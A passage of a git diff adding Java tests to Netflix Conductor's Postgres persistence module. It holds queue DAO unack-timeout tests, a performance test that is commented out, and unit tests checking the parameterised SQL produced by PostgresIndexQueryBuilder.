dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + @Test + public void setUnackTimeoutIfShorterShortensDueTime() { + String queueName = "setUnackIfShorter_shorten"; + String messageId = "msg-shorten"; + + // Push with a 1-hour delay so it is not immediately poppable + queueDAO.push(queueName, messageId, 3600L); + assertEquals(0, queueDAO.pop(queueName, 1, 100).size()); + + // Shorten delivery to now (0 s) — should succeed and return true + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue( + "setUnackTimeoutIfShorter should return true when it actually shortens", shortened); + + // Message must now be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterDoesNotExtend() { + String queueName = "setUnackIfShorter_noextend"; + String messageId = "msg-noextend"; + + // Push with offset 0 so it is immediately available + queueDAO.push(queueName, messageId, 0L); + + // Try to push deliver_on far into the future — must be rejected + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 3_600_000L); + assertFalse( + "setUnackTimeoutIfShorter must not extend an already-closer delivery time", + extended); + + // Message must still be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterReturnsFalseForNonExistent() { + String queueName = "setUnackIfShorter_nonexistent"; + boolean updated = queueDAO.setUnackTimeoutIfShorter(queueName, "no-such-message", 0L); + assertFalse( + "setUnackTimeoutIfShorter must return false for a non-existent message", updated); + } + + /** + * Boundary: when the new timeout would result in the same delivery time as the current one, the + * message is NOT shorter — method must return false and leave deliver_on unchanged. + */ + @Test + public void setUnackTimeoutIfShorterReturnsFalseWhenEqualTimeout() { + String queueName = "setUnackIfShorter_equal"; + String messageId = "msg-equal"; + + // Push with offset 0 so deliver_on ≈ now + queueDAO.push(queueName, messageId, 0L); + + // Try to set unack timeout to 0 again — deliver_on = LEAST(≈now, ≈now+0) = no change + // The WHERE condition `deliver_on > now + 0` is false, so returns false + boolean result = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertFalse("Equal timeout must not update deliver_on — returns false", result); + + // Message remains immediately poppable (deliver_on unchanged) + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + /** + * Boundary: a very large timeout (1 hour) is correctly rejected when message is already + * overdue, and a subsequent shortened call (0 ms) is accepted. + */ + @Test + public void setUnackTimeoutIfShorterRejectsExtensionThenAcceptsShortening() { + String queueName = "setUnackIfShorter_reject_then_accept"; + String messageId = "msg-reject-accept"; + + queueDAO.push(queueName, messageId, 3600L); // 1 hour delay + + // Try to extend to 2 hours — must be rejected + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 7_200_000L); + assertFalse("Extending an already-future deliver_on must return false", extended); + + // Shorten to immediate — must be accepted + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue("Shortening to now must return true", shortened); + + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + // @Test + public void processUnacksTest() { + processUnacks( + () -> { + // Process unacks + queueDAO.processUnacks("process_unacks_test"); + }, + "process_unacks_test"); + } + + // @Test + public void processAllUnacksTest() { + processUnacks( + () -> { + // Process all unacks + queueDAO.processAllUnacks(); + }, + "process_unacks_test"); + } + + private void processUnacks(Runnable unack, String queueName) { + // Count of messages in the queue(s) + final int count = 10; + // Number of messages to process acks for + final int unackedCount = 4; + // A secondary queue to make sure we don't accidentally process other queues + final String otherQueueName = "process_unacks_test_other_queue"; + + // Create testing queue with some messages (but not all) that will be popped/acked. + for (int i = 0; i < count; i++) { + int offset = 0; + if (i >= unackedCount) { + offset = 1_000_000; + } + + queueDAO.push(queueName, "unack-" + i, offset); + } + + // Create a second queue to make sure that unacks don't occur for it + for (int i = 0; i < count; i++) { + queueDAO.push(otherQueueName, "other-" + i, 0); + } + + // Poll for first batch of messages (should be equal to unackedCount) + List polled = queueDAO.pollMessages(queueName, 100, 10_000); + assertNotNull(polled); + assertFalse(polled.isEmpty()); + assertEquals(unackedCount, polled.size()); + + // Poll messages from the other queue so we know they don't get unacked later + queueDAO.pollMessages(otherQueueName, 100, 10_000); + + // Ack one of the polled messages + assertTrue(queueDAO.ack(queueName, "unack-1")); + + // Should have one less un-acked popped message in the queue + Long uacked = queueDAO.queuesDetailVerbose().get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals(uacked.longValue(), unackedCount - 1); + + unack.run(); + + // Check uacks for both queues after processing + Map>> details = queueDAO.queuesDetailVerbose(); + uacked = details.get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals( + "The messages that were polled should be unacked still", + uacked.longValue(), + unackedCount - 1); + + Long otherUacked = details.get(otherQueueName).get("a").get("uacked"); + assertNotNull(otherUacked); + assertEquals( + "Other queue should have all unacked messages", otherUacked.longValue(), count); + + Long size = queueDAO.queuesDetail().get(queueName); + assertNotNull(size); + assertEquals(size.longValue(), count - unackedCount); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/performance/PerformanceTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/performance/PerformanceTest.java new file mode 100644 index 0000000..aac58ef --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/performance/PerformanceTest.java @@ -0,0 +1,454 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.performance; + +// SBMTODO: this test needs to be migrated +// reference - https://github.com/Netflix/conductor/pull/1940 +// @Ignore("This test cannot be automated") +// public class PerformanceTest { +// +// public static final int MSGS = 1000; +// public static final int PRODUCER_BATCH = 10; // make sure MSGS % PRODUCER_BATCH == 0 +// public static final int PRODUCERS = 4; +// public static final int WORKERS = 8; +// public static final int OBSERVERS = 4; +// public static final int OBSERVER_DELAY = 5000; +// public static final int UNACK_RUNNERS = 10; +// public static final int UNACK_DELAY = 500; +// public static final int WORKER_BATCH = 10; +// public static final int WORKER_BATCH_TIMEOUT = 500; +// public static final int COMPLETION_MONITOR_DELAY = 1000; +// +// private DataSource dataSource; +// private QueueDAO Q; +// private ExecutionDAO E; +// +// private final ExecutorService threadPool = Executors.newFixedThreadPool(PRODUCERS + WORKERS + +// OBSERVERS + UNACK_RUNNERS); +// private static final Logger LOGGER = LoggerFactory.getLogger(PerformanceTest.class); +// +// @Before +// public void setUp() { +// TestConfiguration testConfiguration = new TestConfiguration(); +// configuration = new TestPostgresConfiguration(testConfiguration, +// +// "jdbc:postgresql://localhost:54320/conductor?charset=utf8&parseTime=true&interpolateParams=true", +// 10, 2); +// PostgresDataSourceProvider dataSource = new PostgresDataSourceProvider(configuration); +// this.dataSource = dataSource.get(); +// resetAllData(this.dataSource); +// flywayMigrate(this.dataSource); +// +// final ObjectMapper objectMapper = new JsonMapperProvider().get(); +// Q = new PostgresQueueDAO(objectMapper, this.dataSource); +// E = new PostgresExecutionDAO(objectMapper, this.dataSource); +// } +// +// @After +// public void tearDown() throws Exception { +// resetAllData(dataSource); +// } +// +// public static final String QUEUE = "task_queue"; +// +// @Test +// public void testQueueDaoPerformance() throws InterruptedException { +// AtomicBoolean stop = new AtomicBoolean(false); +// Stopwatch start = Stopwatch.createStarted(); +// AtomicInteger poppedCoutner = new AtomicInteger(0); +// HashMultiset allPopped = HashMultiset.create(); +// +// // Consumers - workers +// for (int i = 0; i < WORKERS; i++) { +// threadPool.submit(() -> { +// while (!stop.get()) { +// List pop = Q.pollMessages(QUEUE, WORKER_BATCH, WORKER_BATCH_TIMEOUT); +// LOGGER.info("Popped {} messages", pop.size()); +// poppedCoutner.accumulateAndGet(pop.size(), Integer::sum); +// +// if (pop.size() == 0) { +// try { +// Thread.sleep(200); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// } else { +// LOGGER.info("Popped {}", +// pop.stream().map(Message::getId).collect(Collectors.toList())); +// } +// +// pop.forEach(popped -> { +// synchronized (allPopped) { +// allPopped.add(popped.getId()); +// } +// boolean exists = Q.containsMessage(QUEUE, popped.getId()); +// boolean ack = Q.ack(QUEUE, popped.getId()); +// +// if (ack && exists) { +// // OK +// } else { +// LOGGER.error("Exists & Ack did not succeed for msg: {}", popped); +// } +// }); +// } +// }); +// } +// +// // Producers +// List> producers = Lists.newArrayList(); +// for (int i = 0; i < PRODUCERS; i++) { +// Future producer = threadPool.submit(() -> { +// try { +// // N messages +// for (int j = 0; j < MSGS / PRODUCER_BATCH; j++) { +// List randomMessages = getRandomMessages(PRODUCER_BATCH); +// Q.push(QUEUE, randomMessages); +// LOGGER.info("Pushed {} messages", PRODUCER_BATCH); +// LOGGER.info("Pushed {}", +// randomMessages.stream().map(Message::getId).collect(Collectors.toList())); +// } +// LOGGER.info("Pushed ALL"); +// } catch (Exception e) { +// LOGGER.error("Something went wrong with producer", e); +// throw new RuntimeException(e); +// } +// }); +// +// producers.add(producer); +// } +// +// // Observers +// for (int i = 0; i < OBSERVERS; i++) { +// threadPool.submit(() -> { +// while (!stop.get()) { +// try { +// int size = Q.getSize(QUEUE); +// Q.queuesDetail(); +// LOGGER.info("Size {} messages", size); +// } catch (Exception e) { +// LOGGER.info("Queue size failed, nevermind"); +// } +// +// try { +// Thread.sleep(OBSERVER_DELAY); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// } +// }); +// } +// +// // Consumers - unack processor +// for (int i = 0; i < UNACK_RUNNERS; i++) { +// threadPool.submit(() -> { +// while (!stop.get()) { +// try { +// Q.processUnacks(QUEUE); +// } catch (Exception e) { +// LOGGER.info("Unack failed, nevermind", e); +// continue; +// } +// LOGGER.info("Unacked"); +// try { +// Thread.sleep(UNACK_DELAY); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// } +// }); +// } +// +// long elapsed; +// while (true) { +// try { +// Thread.sleep(COMPLETION_MONITOR_DELAY); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// +// int size = Q.getSize(QUEUE); +// LOGGER.info("MONITOR SIZE : {}", size); +// +// if (size == 0 && producers.stream().map(Future::isDone).reduce(true, (b1, b2) -> b1 && +// b2)) { +// elapsed = start.elapsed(TimeUnit.MILLISECONDS); +// stop.set(true); +// break; +// } +// } +// +// threadPool.awaitTermination(10, TimeUnit.SECONDS); +// threadPool.shutdown(); +// LOGGER.info("Finished in {} ms", elapsed); +// LOGGER.info("Throughput {} msgs/second", ((MSGS * PRODUCERS) / (elapsed * 1.0)) * 1000); +// LOGGER.info("Threads finished"); +// if (poppedCoutner.get() != MSGS * PRODUCERS) { +// synchronized (allPopped) { +// List duplicates = allPopped.entrySet().stream() +// .filter(stringEntry -> stringEntry.getCount() > 1) +// .map(stringEntry -> stringEntry.getElement() + ": " + stringEntry.getCount()) +// .collect(Collectors.toList()); +// +// LOGGER.error("Found duplicate pops: " + duplicates); +// } +// throw new RuntimeException("Popped " + poppedCoutner.get() + " != produced: " + MSGS * +// PRODUCERS); +// } +// } +// +// @Test +// public void testExecDaoPerformance() throws InterruptedException { +// AtomicBoolean stop = new AtomicBoolean(false); +// Stopwatch start = Stopwatch.createStarted(); +// BlockingDeque msgQueue = new LinkedBlockingDeque<>(1000); +// HashMultiset allPopped = HashMultiset.create(); +// +// // Consumers - workers +// for (int i = 0; i < WORKERS; i++) { +// threadPool.submit(() -> { +// while (!stop.get()) { +// List popped = new ArrayList<>(); +// while (true) { +// try { +// Task poll; +// poll = msgQueue.poll(10, TimeUnit.MILLISECONDS); +// +// if (poll == null) { +// // poll timed out +// continue; +// } +// synchronized (allPopped) { +// allPopped.add(poll.getTaskId()); +// } +// popped.add(poll); +// if (stop.get() || popped.size() == WORKER_BATCH) { +// break; +// } +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// } +// +// LOGGER.info("Popped {} messages", popped.size()); +// LOGGER.info("Popped {}", +// popped.stream().map(Task::getTaskId).collect(Collectors.toList())); +// +// // Polling +// popped.stream() +// .peek(task -> { +// task.setWorkerId("someWorker"); +// task.setPollCount(task.getPollCount() + 1); +// task.setStartTime(System.currentTimeMillis()); +// }) +// .forEach(task -> { +// try { +// // should always be false +// boolean concurrentLimit = E.exceedsInProgressLimit(task); +// task.setStartTime(System.currentTimeMillis()); +// E.updateTask(task); +// LOGGER.info("Polled {}", task.getTaskId()); +// } catch (Exception e) { +// LOGGER.error("Something went wrong with worker during poll", e); +// throw new RuntimeException(e); +// } +// }); +// +// popped.forEach(task -> { +// try { +// +// String wfId = task.getWorkflowInstanceId(); +// Workflow workflow = E.getWorkflow(wfId, true); +// E.getTask(task.getTaskId()); +// +// task.setStatus(Task.Status.COMPLETED); +// task.setWorkerId("someWorker"); +// task.setOutputData(Collections.singletonMap("a", "b")); +// E.updateTask(task); +// E.updateWorkflow(workflow); +// LOGGER.info("Updated {}", task.getTaskId()); +// } catch (Exception e) { +// LOGGER.error("Something went wrong with worker during update", e); +// throw new RuntimeException(e); +// } +// }); +// +// } +// }); +// } +// +// Multiset pushedTasks = HashMultiset.create(); +// +// // Producers +// List> producers = Lists.newArrayList(); +// for (int i = 0; i < PRODUCERS; i++) { +// Future producer = threadPool.submit(() -> { +// // N messages +// for (int j = 0; j < MSGS / PRODUCER_BATCH; j++) { +// List randomTasks = getRandomTasks(PRODUCER_BATCH); +// +// Workflow wf = getWorkflow(randomTasks); +// E.createWorkflow(wf); +// +// E.createTasks(randomTasks); +// randomTasks.forEach(t -> { +// try { +// boolean offer = false; +// while (!offer) { +// offer = msgQueue.offer(t, 10, TimeUnit.MILLISECONDS); +// } +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// }); +// LOGGER.info("Pushed {} messages", PRODUCER_BATCH); +// List collect = +// randomTasks.stream().map(Task::getTaskId).collect(Collectors.toList()); +// synchronized (pushedTasks) { +// pushedTasks.addAll(collect); +// } +// LOGGER.info("Pushed {}", collect); +// } +// LOGGER.info("Pushed ALL"); +// }); +// +// producers.add(producer); +// } +// +// // Observers +// for (int i = 0; i < OBSERVERS; i++) { +// threadPool.submit(() -> { +// while (!stop.get()) { +// try { +// List size = E.getPendingTasksForTaskType("taskType"); +// LOGGER.info("Size {} messages", size.size()); +// LOGGER.info("Size q {} messages", msgQueue.size()); +// synchronized (allPopped) { +// LOGGER.info("All pp {} messages", allPopped.size()); +// } +// LOGGER.info("Workflows by correlation id size: {}", +// E.getWorkflowsByCorrelationId("abcd", "1", true).size()); +// LOGGER.info("Workflows by correlation id size: {}", +// E.getWorkflowsByCorrelationId("abcd", "2", true).size()); +// LOGGER.info("Workflows running ids: {}", E.getRunningWorkflowIds("abcd", +// 1)); +// LOGGER.info("Workflows pending count: {}", +// E.getPendingWorkflowCount("abcd")); +// } catch (Exception e) { +// LOGGER.warn("Observer failed ", e); +// } +// try { +// Thread.sleep(OBSERVER_DELAY); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// } +// }); +// } +// +// long elapsed; +// while (true) { +// try { +// Thread.sleep(COMPLETION_MONITOR_DELAY); +// } catch (InterruptedException e) { +// throw new RuntimeException(e); +// } +// +// int size; +// try { +// size = E.getPendingTasksForTaskType("taskType").size(); +// } catch (Exception e) { +// LOGGER.warn("Monitor failed", e); +// continue; +// } +// LOGGER.info("MONITOR SIZE : {}", size); +// +// if (size == 0 && producers.stream().map(Future::isDone).reduce(true, (b1, b2) -> b1 && +// b2)) { +// elapsed = start.elapsed(TimeUnit.MILLISECONDS); +// stop.set(true); +// break; +// } +// } +// +// threadPool.awaitTermination(10, TimeUnit.SECONDS); +// threadPool.shutdown(); +// LOGGER.info("Finished in {} ms", elapsed); +// LOGGER.info("Throughput {} msgs/second", ((MSGS * PRODUCERS) / (elapsed * 1.0)) * 1000); +// LOGGER.info("Threads finished"); +// +// List duplicates = pushedTasks.entrySet().stream() +// .filter(stringEntry -> stringEntry.getCount() > 1) +// .map(stringEntry -> stringEntry.getElement() + ": " + stringEntry.getCount()) +// .collect(Collectors.toList()); +// +// LOGGER.error("Found duplicate pushes: " + duplicates); +// } +// +// private Workflow getWorkflow(List randomTasks) { +// Workflow wf = new Workflow(); +// wf.setWorkflowId(randomTasks.get(0).getWorkflowInstanceId()); +// wf.setCorrelationId(wf.getWorkflowId()); +// wf.setTasks(randomTasks); +// WorkflowDef workflowDefinition = new WorkflowDef(); +// workflowDefinition.setName("abcd"); +// wf.setWorkflowDefinition(workflowDefinition); +// wf.setStartTime(System.currentTimeMillis()); +// return wf; +// } +// +// private List getRandomTasks(int i) { +// String timestamp = Long.toString(System.nanoTime()); +// return IntStream.range(0, i).mapToObj(j -> { +// String id = Thread.currentThread().getId() + "_" + timestamp + "_" + j; +// Task task = new Task(); +// task.setTaskId(id); +// task.setCorrelationId(Integer.toString(j)); +// task.setTaskType("taskType"); +// task.setReferenceTaskName("refName" + j); +// task.setWorkflowType("task_wf"); +// task.setWorkflowInstanceId(Thread.currentThread().getId() + "_" + timestamp); +// return task; +// }).collect(Collectors.toList()); +// } +// +// private List getRandomMessages(int i) { +// String timestamp = Long.toString(System.nanoTime()); +// return IntStream.range(0, i).mapToObj(j -> { +// String id = Thread.currentThread().getId() + "_" + timestamp + "_" + j; +// return new Message(id, "{ \"a\": \"b\", \"timestamp\": \" " + timestamp + " \"}", +// "receipt"); +// }).collect(Collectors.toList()); +// } +// +// private void flywayMigrate(DataSource dataSource) { +// FluentConfiguration flywayConfiguration = Flyway.configure() +// .table(configuration.getFlywayTable()) +// .locations(Paths.get("db","migration_postgres").toString()) +// .dataSource(dataSource) +// .placeholderReplacement(false); +// +// Flyway flyway = flywayConfiguration.load(); +// try { +// flyway.migrate(); +// } catch (FlywayException e) { +// if (e.getMessage().contains("non-empty")) { +// return; +// } +// throw e; +// } +// } +// +// public void resetAllData(DataSource dataSource) { +// // TODO +// } +// } diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilderTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilderTest.java new file mode 100644 index 0000000..5ca96dd --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilderTest.java @@ -0,0 +1,708 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import org.junit.jupiter.api.Test; +import org.mockito.InOrder; +import org.mockito.Mockito; + +import com.netflix.conductor.postgres.config.PostgresProperties; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.fail; +import static org.mockito.Mockito.*; + +public class PostgresIndexQueryBuilderTest { + + private PostgresProperties properties = new PostgresProperties(); + + @Test + void shouldGenerateQueryForEmptyString() throws SQLException { + String inputQuery = ""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals("SELECT json_data::TEXT FROM table_name LIMIT ? OFFSET ?", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForEmptyString() throws SQLException { + String inputQuery = ""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals("SELECT COUNT(json_data) FROM table_name", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForNull() throws SQLException { + String inputQuery = null; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals("SELECT json_data::TEXT FROM table_name LIMIT ? OFFSET ?", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForNull() throws SQLException { + String inputQuery = null; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals("SELECT COUNT(json_data) FROM table_name", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForWorkflowId() throws SQLException { + String inputQuery = "workflowId=\"abc123\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE workflow_id = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc123"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForWorkflowId() throws SQLException { + String inputQuery = "workflowId=\"abc123\""; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE workflow_id = ?", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("abc123"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForMultipleInClause() throws SQLException { + String inputQuery = "status IN (COMPLETED,RUNNING)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE status = ANY(?) LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("COMPLETED", "RUNNING"))); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForMultipleInClause() throws SQLException { + String inputQuery = "status IN (COMPLETED,RUNNING)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE status = ANY(?)", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter(new ArrayList<>(List.of("COMPLETED", "RUNNING"))); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForSingleInClause() throws SQLException { + String inputQuery = "status IN (COMPLETED)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE status = ? LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("COMPLETED"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForSingleInClause() throws SQLException { + String inputQuery = "status IN (COMPLETED)"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals("SELECT COUNT(json_data) FROM table_name WHERE status = ?", generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("COMPLETED"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForStartTimeGt() throws SQLException { + String inputQuery = "startTime>1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE start_time > ?::TIMESTAMPTZ LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForStartTimeGt() throws SQLException { + String inputQuery = "startTime>1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE start_time > ?::TIMESTAMPTZ", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForStartTimeLt() throws SQLException { + String inputQuery = "startTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE start_time < ?::TIMESTAMPTZ LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForStartTimeLt() throws SQLException { + String inputQuery = "startTime<1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getCountQuery(); + assertEquals( + "SELECT COUNT(json_data) FROM table_name WHERE start_time < ?::TIMESTAMPTZ", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateQueryForUpdateTimeGt() throws SQLException { + String inputQuery = "updateTime>1675702498000"; + PostgresIndexQueryBuilder builder = + new PostgresIndexQueryBuilder( + "table_name", inputQuery, "", 0, 15, new ArrayList<>(), properties); + String generatedQuery = builder.getQuery(); + assertEquals( + "SELECT json_data::TEXT FROM table_name WHERE update_time > ?::TIMESTAMPTZ LIMIT ? OFFSET ?", + generatedQuery); + Query mockQuery = mock(Query.class); + builder.addParameters(mockQuery); + builder.addPagingParameters(mockQuery); + InOrder inOrder = Mockito.inOrder(mockQuery); + inOrder.verify(mockQuery).addParameter("2023-02-06T16:54:58Z"); + inOrder.verify(mockQuery).addParameter(15); + inOrder.verify(mockQuery).addParameter(0); + verifyNoMoreInteractions(mockQuery); + } + + @Test + void shouldGenerateCountQueryForUpdateTimeGt() throws SQLException { + String 